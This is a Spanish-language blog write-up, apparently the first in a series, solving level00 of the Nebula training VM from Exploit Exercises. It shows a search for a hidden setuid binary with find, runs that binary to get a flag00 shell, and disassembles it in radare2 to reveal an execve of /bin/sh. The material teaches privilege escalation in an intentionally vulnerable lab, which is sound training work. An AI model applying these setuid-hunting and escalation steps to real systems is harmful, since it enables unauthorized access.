Este es el comienzo de una serie de entradas o write-ups que publicaré con mis soluciones particulares a los retos de la plataforma Exploit Exercises, en concreto las máquinas virtuales Nebula, Protostar y Fusion, cuya complejidad irá ascenciendo en este mismo orden.
Al menos en las dos primeras máquinas (Nebula y Protostar), partiremos de un enfoque black-box (caja negra), por lo que en la medida de lo posible utilizaremos única y exclusivamente la información contenida dentro del propio servidor a atacar, obviando aquellas pistas o código fuente que la página web del reto nos proporciona. Esto nos ofrecerá un entorno más realista y así prodremos desarrollar nuestras habilidades de ingeniería inversa.
A pesar de que los primeros retos son extremadamente simples y pueden resolverse de forma directa, tomaremos el camino largo en la mayor parte de las ocasiones, de modo que podamos realizar un estudio completo y permitirá a los recién llegados familiarizarse con todas las herramientas necesarias, así como su función concreta dentro del análisis.
Tras descargar el archivo ISO correspondiente, configuramos una máquina virtual en VirtualBox con dos adaptadores, uno de ellos solo-anfitrión, de modo que podamos disponer de comunicación directa desde el host hacia el invitado (guest) y viceversa, y establecer una conexión SSH en caso de ser necesaria.
Iniciamos la máquina y nos logueamos con nombre de usuario nebula y password nebula. Si necesitas configurar el teclado en español porque el mapeado no está como debería, entonces ejecuta
sudo -s
y password nebula, luego utiliza el comando dpkg-reconfigure keyboard-configuration
y escoge los parámetros y el idioma correspondiente.
El patrón a seguir en los próximos retos es muy sencillo, para cada nivel existe una pareja de usuarios. Por ejemplo en el primer ejercicio tenemos los usuarios level00 y flag00 Siempre nos loguearemos en el sistema como el primero de ellos y el objetivo será ejecutar el binario
/bin/getflag
como el segundo. Por ejemplo, si ejecutamos getflag
como usuario level00 obtendremos el siguiente resultado:
getflag is executing in a non-flag account, this doesn’t count
Si lo ejecutamos como usuario flag00 en cambio…
You have successfully executed getflag on a target account
Y el reto estará superado. Habremos conseguido lo que se conoce como una “escalada de privilegios”.
Ahora sí, manos a la obra con el primer nivel. Nos logueamos como usuario level00 y password level00 e investigamos el contenido del directorio del usuario flag00.
level00@nebula:~$ pwd
/home/level00
level00@nebula:~$ cd /home/flag00
level00@nebula:/home/flag00$ ls -al
total 5
drwxr-x--- 2 flag00 level00 66 2011-11-20 20:21 .
drwxr-xr-x 1 root root 80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag00 flag00 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag00 flag00 3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag00 flag00 675 2011-05-18 02:54 .profile
No encontramos nada relevante. Lo primero, por lo tanto, es localizar en todo el sistema aquellos ficheros, preferiblemente ejecutables, cuyo propietario sea flag00 y que puedan contener alguna vulnerabilidad. En esta clase de retos, lo habitual es encontrar algún ejecutable con el bit setuid activado en los permisos, de modo que al lanzarlo, este gozará de los permisos que tiene su propietario. El comando
find
viene al rescate.
level00@nebula:/home/flag00$ find / -user flag00 -perm +4000 2>/dev/null
/bin/.../flag00
/rofs/bin/.../flag00
level00@nebula:/home/flag00$ ls -al /bin/.../flag00
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /bin/.../flag00
stderr debe redirecionarse hacia el cubo de los bits para que la pantalla no se llene de errores de acceso a los directorios en los que no tenemos permisos de lectura. Desde luego el resultado parece interesante. Ejecutamos el binario y…
level00@nebula:/home/flag00$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:/home/flag00$ getflag
You have successfully executed getflag on a target account
Pwned!
Ejercicio extra para curiosos. Nos decargamos el binario en nuestra propia linux box mediante
Ejercicio extra para curiosos. Nos decargamos el binario en nuestra propia linux box mediante
scp
, (la versión cp
del paquete SSH).
dpc@kernelinside:~$ scp level00@192.168.56.101:/bin/.../flag00 flag00
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ `/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
Currently there are 20 levels (00 - 19).
level00@192.168.56.101's password:
flag00 100% 7358 7.5MB/s 00:00
Y lo analizamos con
radare2
:
dpc@kernelinside:~$ r2 flag00
-- Get a free shell with 'ragg2 -i exec -x'
[0x08048420]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[0x08048420]> s sym.main
[0x080484d4]> pdf
| ;-- main:
/ (fcn) sym.main 123
| sym.main (int arg_ch, int arg_10h);
| ; arg int arg_ch @ ebp+0xc
| ; arg int arg_10h @ ebp+0x10
| ; var uid_t local_4h @ esp+0x4
| ; var uid_t local_8h @ esp+0x8
| ; var int local_18h @ esp+0x18
| ; var uid_t local_1ch @ esp+0x1c
| ; DATA XREF from entry0 (0x8048437)
| 0x080484d4 push ebp
| 0x080484d5 mov ebp, esp
| 0x080484d7 and esp, 0xfffffff0
| 0x080484da sub esp, 0x20
| 0x080484dd call sym.imp.getegid
| 0x080484e2 mov dword [local_18h], eax
| 0x080484e6 call sym.imp.geteuid ; uid_t geteuid(void)
| 0x080484eb mov dword [local_1ch], eax
| 0x080484ef mov eax, dword [local_18h] ; [0x18:4]=-1 ; 24
| 0x080484f3 mov dword [local_8h], eax
| 0x080484f7 mov eax, dword [local_18h] ; [0x18:4]=-1 ; 24
| 0x080484fb mov dword [local_4h], eax
| 0x080484ff mov eax, dword [local_18h] ; [0x18:4]=-1 ; 24
| 0x08048503 mov dword [esp], eax
| 0x08048506 call sym.imp.setresgid
| 0x0804850b mov eax, dword [local_1ch] ; [0x1c:4]=-1 ; 28
| 0x0804850f mov dword [local_8h], eax
| 0x08048513 mov eax, dword [local_1ch] ; [0x1c:4]=-1 ; 28
| 0x08048517 mov dword [local_4h], eax
| 0x0804851b mov eax, dword [local_1ch] ; [0x1c:4]=-1 ; 28
| 0x0804851f mov dword [esp], eax
| 0x08048522 call sym.imp.setresuid
| 0x08048527 mov dword [esp], str.Congrats__now_run_getflag_to_get_your_flag ; [0x8048620:4]=0x676e6f43 ; "Congrats, now run getflag to get your flag!" ; const char *s
| 0x0804852e call sym.imp.puts ; int puts(const char *s)
| 0x08048533 mov eax, dword [arg_10h] ; [0x10:4]=-1 ; 16
| 0x08048536 mov dword [local_8h], eax
| 0x0804853a mov eax, dword [arg_ch] ; [0xc:4]=-1 ; 12
| 0x0804853d mov dword [local_4h], eax
| 0x08048541 mov dword [esp], str.bin_sh ; [0x804864c:4]=0x6e69622f ; "/bin/sh"
| 0x08048548 call sym.imp.execve
| 0x0804854d leave
\ 0x0804854e ret
Se observa perfectamente hacia el final de la función
main()
una llamada a puts()
con el mensaje de felicitación y otra a execve()
con la cadena “/bin/sh” como uno de sus parámetros, lo que lanza una shell con permisos de usuario flag00.
No hay comentarios:
Publicar un comentario